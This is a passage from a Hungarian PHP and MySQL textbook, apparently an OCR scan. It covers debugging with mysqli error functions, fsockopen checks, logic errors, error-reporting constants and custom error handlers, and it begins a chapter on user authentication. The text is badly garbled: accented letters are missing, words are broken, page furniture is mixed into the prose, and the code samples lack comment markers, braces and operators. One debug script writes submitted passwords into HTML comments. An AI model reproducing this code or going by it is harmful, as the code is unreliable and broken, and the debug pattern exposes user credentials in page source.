Nem meglep mdon a mysqli_connect() is false visszatrsi rtkkel jelzi a hiba elfordulst. Ez azt jelenti, hogy egyszeren szlelhetjk s kezelhetjk az ilyen dpus, gyakori hibkat. Ha nem szakrjuk meg a kd normlis futst, s nem kezeljk ezeket a hibkat, kdunk tovbbra is megprbl dolgozni az adatbzissal. Ha mkd MySQL kapcsolat nlkl prblunk meg lekrdezseket futtatni s eredmnyekhez hozz:ijutni, lto gatink hibazenetekkel teli kpernyt fognak ltni, ami vlheten nem oldalunk professzionlis voltt ersti bennk. Sok ms, gyakran hasznlt, MySQL-lel kapcsolatos PHP fuggvny, gy a tbbi kztt a mysqli_query() is false visz szarrsi rtkkel jelzi a hibt. Ha hiba trtnik, a hibazenet szveghez a mysqli_error() fuggvnnyel frnk hozz, a mysqli_errno() fuggvny pedig a hibakdot adja vissza. Amennyiben az utoljra hasznlt MySQL fuggvny nem okozott hibt, a mysqli _error () res karakterlncot, a mysql i_errno() pedig O-t ad vissza. Tegyk fel pldul, hogy kapcsoldrunk a kiszolglhoz, s kivlasztottuk a hasznlni kivnt adatbzist! Ekkor kdtredk:
az

albbi

Hibakeress

383

$eredmeny

mysqli_query($adatbazis,

'SELECT

FROM nem_letezik);

echo mysqli_errno($adatbazis); echo '<br

/>';

echo mysqli_error($adatbazis);

a kvetkez kimenetet eredmnyezheti:


114 6
' ' ' Table dbname. nem letezik doesn t exist ' ' (Az adatbazis_nev.nem_letezik nev tbla nem ltezik)

E kt fggvny kimenere a mysqli_error() s a mysqli_errno() fggvnytl eltr, utoljra lefutott MySQL fgg vnyre utal. Ha parancs eredmnyrl szeretnnk meggyzdni, a tovbbi utastsok futtatsa eltt ne felejtsk ellenrizni azt! A fjlkezelsi hibkhoz hasonlan adatbzis-kezelsi hibk is el fognak fordulni. Alkalmanknt a szolgltats fejlesztsnek s tesztelsnek befejezse utn is azt tapasztaljuk, hogy a MySQL dmon (mysqld ) sszeomlott, vagy elfogytak a szabad kapcsolatok. Amennyiben adatbzisunk fizikailag msik gpen fut, megintcsak olyan hardver- s szoftverkomponensekre vagyunk knytelenek tmaszkodni, amelyek tnkremehetnek - mg egy hlzati kapcsolat, hlzati krtya, routerek stb. kelle nek, hogy mkdjn a kapcsolat a webszervernk s az adatbzist futtat gp kztt. Nem szabad elfeledkezni arrl, hogy rnieltt felhasznlnnk az adatbziskrsek eredmnyt, ellenrizzk, hogy egyltaln sikeresen vgrehajtdrak-e ezek a krsek. Nincs rtelme megprblni lefuttatni egy lekrdezst, ha nem sikerlt csatlakozni az adatbzishoz, s nincs rtelme megprblni feldolgozni a lekrdezs eredmnyeit, ha maga a lekrdezs nem sikerlt. Fontos itt megemlteni a klnbsget a sikertelen lekrdezs s az eredmnytelen lekrdezs kztt. Az utbbi egyszeren semmilyen adatot nem ad vissza, vagy egyetlen sort sem mdost. Az olyan SQL lekrdezs, amely SQL szintaktikai hibkat tartalmaz, vagy nem ltez adatbzisokra, tblkra vagy oszlo pokra hivatkozik, nem fog mkdni. A
SELECT
*

FROM nem_letezik;

azrt nem fog sikerlni, mert az adott nev tbla nem ltezik, s a mysqli_errno() s a mysqli_error () fggvnnyel visszakereshet hibakdot s hibazenet fog generlni. A szintakrikailag hibtlan s csak ltez adatbzisokra, tblkra s oszlopokra hivatkoz SQL lekrdezs ltalban sikeresen lefut. Elfordulhat azonban, hogy nem ad vissza eredmnyt, pldul, ha res tblt krdeznk le, vagy nem ltez adarot kere snk. Amennyiben sikeresen kapcsoldrunk egy adatbzishoz, amelynek ltezik t l tblja s cl nev oszlopa, a
SELECT
*

FROM tl

WHERE cl

' ' nincs az adatbzisban ;

lekrdezs sikeresen lefut ugyan, de semmilyen eredmnyt nem ad vissza. Mieltt dolgozni kezdennk a lekrdezs eredmnyvel, a lekrdezs sikeressgt s eredmnyessgt egyarnt ellenriz nnk kell.

Hlzati szolgltatsok elrse


Br a rendszernket alkot eszkzk s programok idnknt tnkremehetnek, ez - hacsak nem nagyon gyenge minsg termkekkel dolgozunk - viszonylag ritkn kvetkezik be. Amikor azonban a hlzat segtsgvel kapcsoldunk ms gpekhez vagy azokon fut szoftverekhez, el kell fogadnunk: a rendszer egy-egy rsze gyakrabban is elromolhat. Arnikor egyik gprl a msikhoz kapcsoldunk, knytelenek vagyunk szmos olyan eszkzre s szolglrarsra tmaszkodni, amely kivl esik ellenr zsnkn. ppen ezrt kivtel nlkl az sszes esetben gondosan ellenrizni kell minden olyan fggvny visszarrsi rtkr, amely valarnilyen hlzati szolgltatssal prbl meg kapcsolatba lpni. Az albbi fggvny meghvsa
$sp = fsockopen('localhost',

5000 );

figyelmeztetst eredmnyez, ha a fggvnynek nem sikerl csatlakozni a localhost nev gp 5000-es portjhoz, de az ze netet csak alaprtelmezett formjban jelenti meg. nem ad lehetsget kdunknak, hogy elegnsabban kezeljk a hibt. Ha a fggvny meghvst a kvetkezkppen rjuk t:
$sp @fsockopen ('localhost',

26

5000,

&$hibakod,

&$hibaszoveg );

if(!$sp) echo "ERROR: ".$hibakod.": ".$hibaszoveg;

akkor elnyomjuk a beptett hibazenetet, a visszatrsi rtket ellenrizve ltjuk, hogy trtnt-e hiba, majd sajt kdunkat hasznlva kezeljk a hibt. Az gy megrt kd a problma megoldst segt hibazenetet eredmnyez. Ebben a pldban a k vetkez zenetet ltnnk megjelenni:

384

26.

fejezer

ERROR:

10035:

A non-blacking socket operation

could not be

completed immediately.

azaz
HIBA:

10035:

Egy nem blokkol sacket miatt a mvelet nem hajthat vgre azonnal.

A futsidej hibkat nehezebb kikszblni, mint a szintaktikaiakat, mert az rtelmez nem kpes a hibkat a kd els futtatsakor jelezni. Mivel a futsidej hibkat esemnyek valamilyen kombincija vltja ki, szlelni s megoldani is bonyolult lehet ket. Az rtelmez nem tudja automatikusan megmondani, hogy egy adott sor hibt fog generlni. Ehhez tesztelskor szimullnunk kell a hibt kivlt szirucir. A futsidej hibk kezelse bizonyos mrrk elreltst ignyel: fel kell kszlni az esetlegesen elfordul hibarpusokra, majd meg kell tenni az azoknak megfelel lpseket. Gondos tesztelsre van szksg ahhoz is, hogy a futsidej hibk minden lehetsges tpust szimulljuk. Ez egyltaln nem azt jelenti, hogy tesztelskor minden elkpzelhet hibt el kell lltanunk. A MySQL pldul krlbell 200 klnbz hibakddal s hibazenettel rendelkezik. A j esllyel hibt kivlt fggvnyhvsoknl kell szimullnunk a k ln kdbiokkal kezelni kvnt hibatpusokat.

Beviteli adatok ellenrzsnek elmulasztsa

Gyakran lnk felttelezsekkel a felhasznlk ltal megadott beviteli adatokkal kapcsolatban. Ha egy adat valamirt nincs sszhangban azzal, amire szmtottunk, hiba trtnhet, ami lehet futsidej vagy logikai hiba (errl az utbbi kategrirl a kvetkez rszben esik majd sz). A futsidej hiba klasszikus pldja akkor kvetkezik be, amikor felhasznl ltal bevitt adatokkal dolgozunk, de elfelejtjk alkalmazni rjuk az addslashes ( ) fggvnyt. Ez azt jelenti, hogy ha az egyik felhasznlnknak aposztrfot tartalmaz neve van, pldul O'Gradynek hvjk, akkor az adatbzisfggvnytl hibazenetet kapunk, amikor beszrsi utastsban egyszeres idzjelek kztt hasznljuk a felhasznl ltal megadott nevet. A beviteli adarokkal kapcsolatos felttelezseink miatti hibkat a kvetkez rszben rszletesebben is bemutatj uk.

Logikai hibk
A logikai a legnehezebben kereshet s kikszblhet hibatpus. Ilyen tpus hibk akkor kvetkeznek be, amikor a tklete sen helyes kd pontosan azt teszi, amire utastottk, m a programoznak mgsem ez volt a szndka. A logikai hibt okozhatja egyszer elgpels, mint pldul a kvetkez kdban:
for ($i =

O; $i < 10; $i++);

echo

'valamit csinl<br />';

26

Ez a kdtredk teljesen szablyos, minden sorban megfelel a PHP szintakrikai szablyainak. Futtatshoz nincs szksg kls szolgltatsokra, gy nem valszn, hogy futsidej problmba tkznnk. Csak nagyon les szemmel lehet szrevenni, hogy ez a kd nem azt teszi, amit rnzsre gondolnnk, s amit a programoz szererett volna elrni. gy tnik, hogy a kd tzszer vgigmegy a for cikluson, s minden egyes alkalommal kirja a"valami t csinl" szve get. Az els sor vghez hozzadott, oda nem val pontosvessz miatt azonban a ciklusnak nincsen hatsa a kvetkez sorokra. A for ciklus minden eredmny nlkl tzszer lefut, majd egyszer vgrehajtdik az echo utasts. Mivel a kdtredk teljesen szablyos, s hibt nem tartalmaz, az rtelmez nem fog reklamlni, hogy a for ciklus ilyen alkalmazsnak semmi rtelme sincsen. Bizonyos feladatokra nagyon jk a szmitgpek, jzan eszk s intelligencijuk azonban nincsen. A komputer pontosan azt teszi, amit mondanak neki. A mi gondunk az, hogy pontosan azt mondjuk, amit valban szeretnnk. A logika hibkat nem a kd valamilyen kudarca okozza, hanem egyszeren a programoznak nem sikerl megrnia a sz mtgpet utast kdot gy, hogy a gp pontosan azt tegye, amit elvr tle. Ebbl kvetkezik, hogy az ilyen hibkat nem lehet automatikusan szlelni. Senki nem kzli velnk, hogy hiba trtnt, s senki monclja meg, hogy melyik sorban keressk a prob lmt. A logikai hibkar csak megfelel tesztelssei lehet kiszrni. Az elz trivilis pldhoz hasonl logikai hiba viszonylag knnyen elkvethet, ugyanakkor kijavtani sem sokkal nehezebb, mert kdunk els futtatsakor a vrtrl eltr kimenetet fogunk ltni. A logika hibk tbbsge ennl valamivel alattomosabb. Az igazn problms logikai hibk ltalban a fejleszrk hibsnak bizonyul felttelezseibl kvetkeznek. Az elz, A PHP s MySQL hasznlata nagyobb projektekben cm fejezetben azt ajnlottuk, hogy ms fejlesztket bevonva nzessk r kdun kat, s krjk javaslatukat tovbbi tesztesetekre, illetve fejlesztk helyett a clkznsgbl krjnk fel tesztelket. Knnyen

Hibakeress

385

gondolhatjuk azt, hogy az emberek csak bizonyos tpus adatokat fognak berni, s ha mi magunk vgezzk a tesztelse, akkor ezt a hibt taln soha nem fedezzk fel. Tegyk fel, hogy egy zleti oldalon lv szvegdobozba a rendelsi mennyisget rhatja be a felhasznl! Felttelezzk, hogy
az

emberek csak pozitv rtkeket rhatnak be? Ha egy ltogat -10-et r be, akkor szaftvernk jvrja bankszmljn a szban Tegyk fel, hogy egy szvegdobozba egy dollrban kifejezett sszeget vrunk a ltogatktl! Dollrjellel vagy anlkl vrjuk

forg rucikk rtknek rzszerest? tlk az sszeget? Az ezresek utn kell vajon vesszt rniuk? Az ilyen dolgok rszben a kliensoldalon is ellenrizhetk (pldul JavaScript segtsgve!), hogy ezltal valamelyest cskkentsk szervernk terhelst. Amennyiben informcit kvnunk tadni egy msik oldalnak, esznkbe jut vajon, hogy egyes karakterekre, pldul az tad ni kvnt karakterlncban lv szkzre kln figyelni kell az URL-ben? A logikai hibk szma szinte vgtelen, s ellenrzskre - sajnos - nem ltezik automatizlt mdszer. Az egyetlen megolds, hogy elszr is megprbljuk kikszblni a programba kdolt - hibs - felttelezseinket, msodsorban pedig alaposan tesz telnk mindenfle rvnyes s nem rvnyes inputtal, s gondoskodunk arrl, hogy minden esetben a vrt eredmnyt kapjuk.

Hibakeress a vltozk tartalmnak kiratsval


Ha sszetettebb vlnak projektjeink, hasznunkra lehet a hibk oknak azonostst segt kis segdprogram. A 26.1 plda kdban rallhat kdrszlet nagy segtsget nyjthat szmunkra, mivel az oldalunknak radott vltozk rartalmt ratja ki.
26.1 pldakd: valtozok _kiiratasa.php - Ha a kdot az egyes oldalakra beilleszljk, a vltozk tartalmt kiratva segti

a hibakeresst
<?php

ll ezek a sorok HTML megjegyzsknt formzzk a kimenetet ll s ismtlden meghvjk a tomb_kiiratasa fggvnyt (ennek
echo "\n<!-- VLTOZ-KIRATS INDUL -->\n\n";

echo "<!-- GET VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($_GET)


"

-->\n";

echo "<!-- POST VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($ POST)


"

-->\n";

echo "<!-- SESSION VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($ SESSION) ." -->\n";

echo "<!-- COOIE VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($ COOKIE)." -->\n";

echo "\n<!-- VLTOZ-KIRATS VGE -->\n";

ll A tomb_kiiratasa() tmbt vr paramterknt ll Vgiglpked a tmbn, ll hoz ltre,


egyetlen sornyi karakterlncot amely a tmb tartalmt jelkpezi

26

function tomb kiiratasa($tomb)

if(is_array($tomb))

$meret

count($tomb);

$string = ""; if($meret)

386

26. fejezet

$szamlalo = 0; $string . = "l

";

ll az egyes elemek kulcsnak s rtknek hozzadsa a sztringhez


foreach($tomb as $var => $ertek)

$string .=$var."

".$ertek;

if($szamlalo++ < ($meret-l)) $string .= "


" '

$string

.=

"

) ";

return $string; else

l
egyszeren trjen vele vissza!

ll ha nem tmb,
return $tomb;

?>

A fenti kd

az

oldalnak radott vltozk ngy tmbjt jelenti meg. Ha az oldalt GET vltozkkal, POST vltozkkal,

stikkel hvtk meg, vagy rendelkezik munkamenet-vltozkkal, akkor azok kirdnak.


A kimenetet HTML megjegyzsen bellre raktuk, hogy lthat legyen ugyan, de ne zavarja meg azt, ahogy a bngsz a lt

hat oldalelemeket megjelenti. A hibakeressi informcikat ily mdon rdemes ellltani. A hibakeressi informciknak a 26.1 pldakdhoz hasonlan megjegyzsekbe rejtse lehetv teszi, hogy akr
az;

les mkds eltti utols percig az; alkal

mazsunkban hagyjuk a hibakeres kdot. A tomb _ kiiratasa () fggvnyt a print_r () trdelfggvnyeknt (wrapper) hasznlruk. A tomb_kiiratasa () fggvny egyszeren vdkarakterrel ltja el a HTML megjegyzs zr karaktereit.
A konkrt kimenet az; oldalnak radott vltozktl fgg, de arnikor a 23. fejezet 23.4 pldakdjhoz hozz;adtuk,
az;

albbi

sorokkal egsztette ki a kd ltal ellltott HTML-t:


<!-- VLTOZ-KIRATS INDUL -->

<1-- GET VLTOZK --> <1-- Array

--> <!-- POST VLTOZK <1-- Array


--

>

[felhasznaloi_nev] [jelszo] => jelsze

=> teszt felhasznala

-->

26

<1-- SESSION VLTOZK --> <1-- Array

--> <!-- COOKIE VLTOZK --> <!-- Array

[PHPSESSID]

=> b2b5f56fad986dd73af33f470f3cl865

Hibakeress

387

-->

<!--

VLTOZ-KIRATS VGE --> POST

Lthatjuk, hogy a kd megjelenti az elz oldalon lv bejelentkezsi felletrl kldtt


felhas znaloi _nev PHPSESSID.

vltozkat:

s j els z o. Megmutatja tovbb a felhasznl nevnek trolsra hasznlt munkamenet-vltozt is:

Ahogy arrl a 23. fejezetben sz volt, a PHP stik segtsgvel kapcsolja a munkamenet-vltozkat az adott fel

hasznlkhoz. A kd kirja a PHPSESSIO pszeud vleden szmot, ami a stiben, az adott felhasznl azonostsa rdekben troldik el.

Hibajelentsi szintek
A PHP-nak megszabhatjuk, mennyire legyen akadkoskod a hibkkal. Megadhatjuk, hogy milyen tpus esemnyek generl janak hibazeneteket. Alaprtelmezsben a PHP az rtestseken (notice tpus figyelmeztetseken l kvl minden hibt jelez. A hibajelentsi szintet a 26.1 tblzatban lthat, elre meghatrozott kanstansok segtsgvel llthatjuk be. 26.1 tbla:

Hibajelentsi llandk Nv
E ERROR E_WARNING E PARSE E NOTICE E CORE ERROR E CORE WARNING E-COMPILE-ERROR E-COMPILE-WARNING E USER ERROR E USER WARNING E USER NOTICE E ALL

rtk
l 2 4 8 16 32 64 128 256 512 1024 6143 2048

Jelentse
Futsidben jelenti a vgzetes hibkat. Futsidben jelenti a nem vgzetes hibkat. Jelenti az rtelmezsi hibkat. Jelenti az rtestseket, amelyek kzlik, hogy valami, amit tettnk, hibs lehet. Jelenti a PHP motor indtsakor keletkez hibkat. Jelenti a PHP motor indtsakor keletkez, nem vgzetes hibkat. Jelenti a fordtskor keletkez hibkat. Jelenti a fordtskor keletkez, nem vgzetes hibkat. Jelenti a felhasznl ltal kivltott hibkat. Jelenti a felhasznl ltal kivltott figyelmeztetseket. Jelenti a felhasznl ltal kivltott rtestseket. Mindent jelent az E_STRICT szinten jelentett hibkon s figyelmeztetseken kvl. Jelenti a kifogsolt s nem ajnlott viselkedst; nincsen benne az E_ALL szint ben, de nagyon hasznos a kd-jratervezshez (code refactoring). Vltoztatsokat javasol az interoperabili ts rdekben.

E STRICT

4096

E RECOVERABLE ERROR

Jelenti az elkaphat vgzetes hibkat.

Mindegyik konstans jelenthet vagy figyelmen kvl hagyhat hibatpust jell. Ha pldul az E_ ERROR hibaszintet lltjuk be, a PHP csak a vgzetes hibkat fogja jelenteni. Az llandkat binris aritmetikai mveletekkel kombinlva tovbbi hibaszin teket rhetnk el. Az alaprtelmezett hibaszintet, ami az rtestsek kivtelvel minden hibt jelent, a kvetkezkppen hatrozhatjuk meg: E
ALL
&

-E NOTICE

Ez a kifejezs az elre meghatrozott llandk kzl kettt tartalmaz, s bitmveleti jelekkel kombinlja azokat. Az s jel

( & ) az S, a tilde ( - ) pedig a NEM bitmveleti jel. A kifejezs a kvetkezkppen olvasand: E_ALL
szes tbbi szintet a VAGY bitmveleti jellel
E_ERROR

S NEM E_NOTICE.

Az E_ALL nmagban is az sszes tbbi hibatpus kombincija (az E_ STRICT kivtelvel). Egyenrtk azzal, ha az sz

26

( l ) kombinljuk:
E_NOTICE

E_WARNING

E_PARSE

E_CORE ERROR

E_CORE_WARNING

E_COMPILE_ERROR

IE_COMPILE_WARNING

E_USER_ERROR

E USER_WARNING

USER NOTICE

Hasonlkppen az alaprtelmezett hibajelentsi szint is meghatrozhat, ha az E _NOTICE kivtelvel az sszes hibaszintet VAGY-gyal kombinljuk:
E_ERROR

E_WARNING

E_PARSE

E_CORE_ERROR

E_CORE_WARNING

E_COMPILE_ERROR

E COMPILE WARNING

E USER ERROR

E USER WARNING

E USER NOTICE

388

26. fejezet

A hibajelentsi belltsok mdostsa


A hibajelentsi belltsokat globlis rvnnyel a php. ini fjlban adhatjuk meg. de kdonknt is meghatrozhatjuk ket. Ha az sszes kd esetben szeretnnk mdostani a hibajelentst, az alaprtelmezert php.ini fjl albbi ngy sort kell meg vltoztatni:
error reporting display_errors log_errors track errors E ALL On Off Off
&

-E NOTICE

Az alaprtelmezert globlis belltsok:

Jelents az rtestsek kivtelvel rninden hibrl Hibazenetek hozzadsa a normlis kimenethez HTML-knt A hibazenetek nincsenek lemezre naplzva A hibk nem lesznek kvetve, hanem a $php_errormsg vltozban eltrolva

Az ltalunk legnagyobb valsznsggel vgrehajtand vltoztats a hibajelentsi szint felemelse az E_ALL

E_ STRICT

szintre. A mdosts azt eredmnyezi, hogy a PHP szmtalan rtestst megjelent az olyan esetekben, amelyek hibra uralhat nak, vagy egyszeren csak abbl kvetkeznek, hogy a programoz kihasznlja a PHP gyengn tpusos jellegt. Illetve azt, hogy automatikusan O rtkkel hozza ltre a vltozkat. A hibakeress idejre hasznos lehet az error_reporting szint magasabbra lltsa. Ha sajt hibazenetekkel tjkoz tatjuk a felhasznlt, akkor az lesben mkd alkalmazson kapcsoljuk ki a display_errors belltst, kapcsoljuk be a log_errors-t, a hibajelentsi szintet pedig hagyjuk magasan! Ekkor brmilyen problma esetn a hibanaplkban talljuk a rszletesen kifejtert hibkat. A hibakvetssei kapcsolaros track_ errors bellts bekapcsolsa abban nyjthat segtsget, hogy sajt kdunkban fog lalkozzunk a hibkkal, ne a PHP alaprtelmezett szolgltatsaira hagyatkozzunk. A PHP ugyan hasznos hibazeneteket ad, alaprtelmezert mkdse azonban csnyn nzhet ki, ha a dolgok elromlanak. Vgzetes hiba esetn a PHP az
<br> <b>Error Type<lb>: error message in <b>pathlfile.php<lb>

on line <b>lineNumber<lb><br>

(<b>Hiba tpusa<lb>:

hibazenet az <b>eleresi_utvonal/fajl.php</b>

fjl <b>sorSzama</b> sorban<br>)

szveget jelenti meg. s lelltja a kd futtatst. Nem vgzeres hibk esetn ugyanez a szveg jelenik meg. de a furtats foly tatdhat. Ez a HTML jl szrevehetv teszi a hibt, viszont nem nz ki tl meggyzen. A hibazenet stlusa a lehet legritkbb esetben illik az oldal tbbi rsznek megjelenshez. Radsul akr azt is eredmnyezheti, hogy egyes felhasznlk egyltaln nem ltnak az zenetbl semmit. Ez akkor fordulhat el, ha az oldal tartalma tblzaton bell jelenik meg. s bngszjk szigoran veszi, hogy csak szablyos HTML-t jelentsen meg. Egyes bngszk res kpernyknt jelentik meg a tblzat elemeit megnyit, de azokat be nem zr HTML-t, gy pldul a kvetkez kdot:
<table> <tr><td>

<b r>
<b>Error Type<lb>: error message in <b>path/file.php</b>

on line <b>lineNumber<lb><br>

Nem kell ragaszkodnunk a PHP alaprtelmezett hibakezelshez, s nem szksges rninden fjlhoz ugyanazokat a be

26

lltsokat hasznlni. Ha csak az aktulisan hasznlt kdban szeretnnk megvltoztaeni a hibajelentsi szintet, az error_
reporting () fggvnyt meghvva tehetjk ezt meg.

Paramterknt hibajelentsi llandr vagy azok kombincijt tadva ugyangy llthatjuk be a hibajelentsi szintet, rnint a php.ini ugyanilyen nev direktvjban. A fggvny visszatrsi rtke az elz hibajelentsi szint lesz. A fggvny hasz nlatnak gyakori mdja a kvetkez:
ll hibajelents kikapcsolsa $elozo_szint
=

error_reporting(O);

ll ide kerl a figyelmeztetseket elllt kd ll hibajelents visszakapcsolsa error reporting($elozo_szint);

Hibakeress

389

Ez a kdrszlee kikapcsolja a hibajelentsr, gy olyan kdot is futtarharunk, amely egybknt j esllyel nem kivnt figyel meztetseker generlna a kpernyre. A hibajelents vgleges kikapcsolsa nem ajnlott, mert megnehezti a programozsi hibk felkutatsr s kijavtst.

Sajt hibk kivltsa


A trigger_error ( ) fggvnyt sajt hibink kivltsra hasznlhatjuk. Az gy ltrehozott hibkat ugyangy kezeli a PHP, mint a ha gyomnyos hibkat. A fggvny hibazenetet vr, s opcionlisan hibarpust is megadhatunk neki. A hibatpus az E_USER_ERROR, az
E_USER_ WARNING vagy az E_USER_NOTICE valamelyike lehet. Ha nem adjuk meg, az E_USER_NOTICE lesz az alaprtelmezen tpus.

A trigger_error () fggvnyt a kvetkezkppen hasznlhatj uk:


trigger_error('A szmtgp 15msodpercen bell megsemmisti nmagt', E USER_WARNING);

A hibakezels elegns mdja


Aki C++ vagy Java tern szerzett tapasztalatokkal rkezett a PHP vilgba, az bizonyra jl ismeri a kivtelek hasznlatr. A kivtelek lehetv teszik a fggvnyeknek, hogy jelezzk a hiba bekvetkeztt, majd hagyjk, hogy kivtelkezel foglalkozzon a hibval. A kivtelek kivl mdszert jelentenek nagy projektek hibinak a kezelsre. Rszletesen bemutattuk ket a Hiba- s kivtelkezels cm 7. fejezetben, gy itt s most nem foglalkozunk velk. Mr lttuk, hogyan vltsuk ki sajt hibinkat. Ezen tlmenen sajt hibakezelket is alkalmazharunk a hibk elkapsra. A set_error_handler () fggvnyben olyan fggvnyt adharunk meg, amit felhasznlszint hibk, figyelmeztetsek s rtestsek bekvetkezsekor kell meghvni. A set_error_handler() fggvnyt a hibakezelknt hasznlni kivnt fgg vny nevvel kell meghvni. Hibakezel fggvnynknek kt paramtert kell fogadni: a hiba tpusr s a hibazenetet. A fggvnynek e kt vltoz alap jn el kell tudni dntenie, hogyan kezelj e a hibt. A hibatpusnak a meghatrozon hibatpus-konstansok valamelyiknek kell lennie. A hibazenet a hibt ler karakterlnc A set_error_handler () fggvny meghvsa pldul a kvetkezkppen nzhet ki:
set_error_handler('sajat_hibakezelo');

Mivel a sa jat_hibakezelo() fggvny meghvsra utasrottuk a PHP-t, meg kell adnunk az ilyen nev fggvnyt. En nek a fggvnynek az albbi a prototpusa:
sajat_hibakezelo(int hibatipus, string hibauzenet

[,

string hibas fajl

[,

int hibas_sor

[,

array hibakornyezet]]]))

Hogy pontosan mit csinl a fggvny, az mr tlnk fgg. A kezelfggvnynek radott paramterek a kvetkezk: A hiba tpusa A hibazenet A fjl, amelyben a hiba trtnt A sor, amelyben a hiba trtnt A szimblumrbla - vagyis az sszes vltoz s azok rtke a hiba bekvetkezsnek idejben A kezelfggvny lehetsges mveletei az albbiak lehetnek: A megadon hibazenet megjelentse Informci eitraisa a naplfjlban A hiba elkldse e-mailben a megadott cmre A kd befejezse A 26.2 pldakdban hibakezelr deklarlunk, a set_error_handler () fggvnnyel belltjuk a hibakezelt, majd hibkar generlunk. 26.2 pldakd: kezelo.php-A kd egyni hibakezelt deklarl, s klnfle hibkat llt el
<?php

26

ll A hibakezel fggvny
function sajatHibaKezelo ($hlbatipus, $hlbauzenet, $hlbas_fajl, $hibas_sor) echo "<br /><table bgcolor=\"lcccccc\"><tr><td> <p><strong>HIBA:</strong> ".$hibauzenet."</p> <p>Krjk, prblja UJra, vagy lpjen velnk kapcsolatba, s tjkoztasson, hogy hiba trtnt a ".$hibas fajl." fjl .$hibas sor." sorban!"</p>";

390

26. fejezet

if (($hibatipus == E USER_ERROR) echo "<p>A hiba vgzetes volt, </td></tr></table>";

l l

($hibatipus == E ERROR))

a program vget rt </p>

//nyitott erforrsok, exit;

pldul oldallblc stb.

bezrsa

echo

"</td></tr></table>";

ll

A hibakezel belltsa

set error_handler('sajatHibaKezelo');

//klnbz szint

hibk kivltsa E_USER_NOTICE);

trigger_error('Trigger fggvny meghvva, fopen('nofile', 'r');

trigger error('Ez a szmtgp bzs szn', include ('nofile'); trigger_error('A szmtgp ?>

E_USER_WARNING);

15msodpercen bell megsemmisti

nmagt',

E_USER_ERROR);

A kd eredmnyt a 26.1 brn lchaguk. Ez az egyni hibakezel szinte semmivel nem tbb a PHP alaprtelmezett viselkedsnL Mivel azonban mi rtuk a kdjt, brmit beprogramozhacunk. Eldnthetjk, hogy mit mondjunk sk meg az informcit gy, hogy illeszkedjen
az az

oldal ltogatinak, ha valami balul sl el, s hogyan jelent

oldal tbbi rszhez. Ami ennl is fontosabb: mi dnthetjk el, hogy mi tr

tnjen. Folytatdjk a kd? Naplzzuk vagy megjelentsk a hibazenetet? Automatikusan riasszuk a mszaki tmogatst?

T-....'1. .

l lo'-

""--
" __

l iiii\-r;;:.;..,)r.lodiOts- l"<>""ktklll l6'-,n tijd;.- loQIYDill;a-..-


..,a-.

BJB.t:baW......,
"""" '

..

J J J

K)llk.

tJI

"'*"

""F

26.1 bra: Sajt hibakezel hasznlatval a PHP hibazeneteinl bartsgosabbakat adhatunk Jelhasznlinknak.
Fontos megjegyezni, hogy hibakezelnknek nem feladata mindenfle hibatpussal foglalkozni. Bizonyos hibk, gy az r telmezsi s a vgzetes futsidej hibk tovbbra is az alaprtelmezett hibakezelsi mkdst fogjk kiknyszerteni. Ha sze reennk ezt elkerlni, akkor mieltt tadnnk a paramtereket a vgzetes hibt kivltani kpes fggvnynek, gondoskodjunk alapos ellenrzskrl, s vltsuk ki sajt E_USER_ERROR szint hibnkat, ha a paramterek hibt okoznak! Vgezetl egy hasznos funkci: ha hibakezetnk explicit false rckkel tr vissza, a PHP beptett hibakezelje lesz meg

26

hvva. gy mi magunk kezelhegk

az

E_USER_*

hibkat, a hagyomnyos hibkat pedig meghagyhatjuk a beptett kezelnek.

Hogyan tovbb?
A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben elkezdjk els projektnket. Megvizsgljuk, milyen mdszerrel azonosthag uk szabni oldalunk tartalmr.
az

oldalunkra visszatr felhasznlkat, s hogyan tudjuk szmukra testre

27 Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse


Ebben a projektben rvesszk a felhasznlkat, hogy regisztrljanak weboldalunkon. Ha ezt megteszik, nyomon kvethetjk, hogy mi rdekli ket, majd ennek megfelelen a szmukra rdekes tartalmat jelentjk meg. Vagyis nem tesznk mst, mint a felhasznli ignyeknek megfelel, szemlyre szabott tartalmat knlunk ltogatinknak. Projektnk lehetsget ad a felhasznlknak, hogy internetes knyvjelzk gyjtemnyt lltsk ssze, s a korbban elmen rett hivatkozsaik alapjn vlheten ket rdekl tovbbi hivatkozsokat ajnlunk figyelmkbe. A szemlyre szabs szinte br milyen webalap alkalmazsban lehetv teszi, hogy a felhasznlk ltal ignyelt tartalmat az ltaluk elvrt formban jelentsk meg nekik. Knyvnk V. rszben minden projektet, gy a jelenlegit is azzal kezdjk, hogy vgiggondoljuk a projekt kvetelmnyeit, amelyek hasonlak azokhoz az elvrsokhoz, amiket valdi gyfeleink trnasztannak. Ezen kvetelmnyek alapjn megtervez zk a megolds alkotelemeit s azok egymshoz val kapcsolatt, vgl pedig megvalstjuk az egyes komponenseket. A jelenlegi projektben az albbi funkcikat kell ltrehozni: Bejelentkezs s felhasznlk hitelestse

Jelszavak kezelse Felhasznli preferencik feljegyzse Tartalom szemlyre szabsa Tartalom ajnlsa a felhasznlrl megszerzett informcik alapjn

A megolds alkotelemei
Projektnk sorn feladatunk egy online knyvjelzkezel rendszer prototpusnak elksztse lesz, amit nevezznk PHPbookmarknak! Alkalmazsunk hasonl lesz a http://www.backRip.com oldalon elrhet BackRiphez, termszetesen azonban annl korltozottabb funkcikat knl majd. A rendszernek lehetv kell tennie a felhasznlknak a bejelentkezst s szemlyes knyvjelzik eltrolst, majd szemlyes preferenciik alapjn ket rdekl tovbbi weboldalakat kell :Ynlania szmukra. A megolds alkotelemei hrom fbb kategriba sorolhatk: Be kell tudnunk azonostani az egyes felhasznlkat, illetve valamilyen mdszerrel hitelestennk is kell ket. El kell tudnunk trolni az egyes felhasznlk knyvjelzi t. A felhasznlknak lehetv kell tenni, hogy knyvjelzket vegyenek fel s trljenek. Az alapjn, amit mr megtudtunk a felhasznlkrl, kpesnek kell lennnk ket rdekl weboldalakat ajnlani szmukra. Most, hogy mr tisztban vagyunk a projekt lnyegvel, elkezdhetjk megtervezni a megoldst s annak alkotelemei t. Nz zk meg az elbb emltett hrom f elvrs lehetsges megoldsait!

Felhasznli azonosts s szemlyre szabs


